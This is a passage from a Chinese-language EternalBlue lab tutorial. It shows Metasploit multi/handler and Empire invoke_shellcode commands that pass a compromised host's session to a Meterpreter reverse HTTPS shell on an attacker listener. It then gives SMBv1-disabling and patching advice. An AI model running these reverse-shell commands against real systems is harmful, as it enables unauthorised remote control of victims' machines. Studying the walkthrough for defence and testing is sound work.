方程式0day ETERNALBLUE复现之Empire Msfconsole下的shel(3)

让我们来尝试下，是否可以将Empire shell切换为Meterpreter shell。我们运行以下命令设置侦听：

use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 10.11.1.16 set lport 5555 run

现在，让我们再次切换回Empire并运行以下命令：

usemodule code_execution/invoke_shellcode set Lhost 10.11.1.16 set Lport 5555 execute

当我们再次切换回Metasploit时，我们应该已经收到了一个Meterpreter shell：

修复建议

微软已于2017年3月份就修补了Eternalblue漏洞。如果您尚未安装补丁程序，建议您在短时间内完成此操作。另一个有效的方法是在Windows机器上禁用SMBv1。

要在Windows 8和Windows Server 2012上禁用SMBv1，请打开Windows Powershell并运行以下命令以禁用SMBv1：

Set-SmbServerConfiguration -EnableSMB1Protocol $false

使用以下命令检查SMBv1是否已被禁用：

Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol

在PowerShell中运行以下cmdlet，禁用Windows 7，Windows Server 2008 R2，Windows Vista和Windows Server 2008上的SMBv1协议：

Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB1 -Type DWORD -Value 0 -Force  总结

在本教程中我们学会了，如何使用Eternalblue远程利用SMBv1协议中的漏洞。虽然Eternalblue相比MS08-067利用起来并不轻松，但其效果都是一样的。同时，也希望通过这个例子让大家意识到定期更新Windows系统的重要性，以及技术更新换代的必要性。想要了解更多关于Eternalblue的内容，你可以查看 CVE-2017-0143 以及微软关于MS17-010的相关安全公告。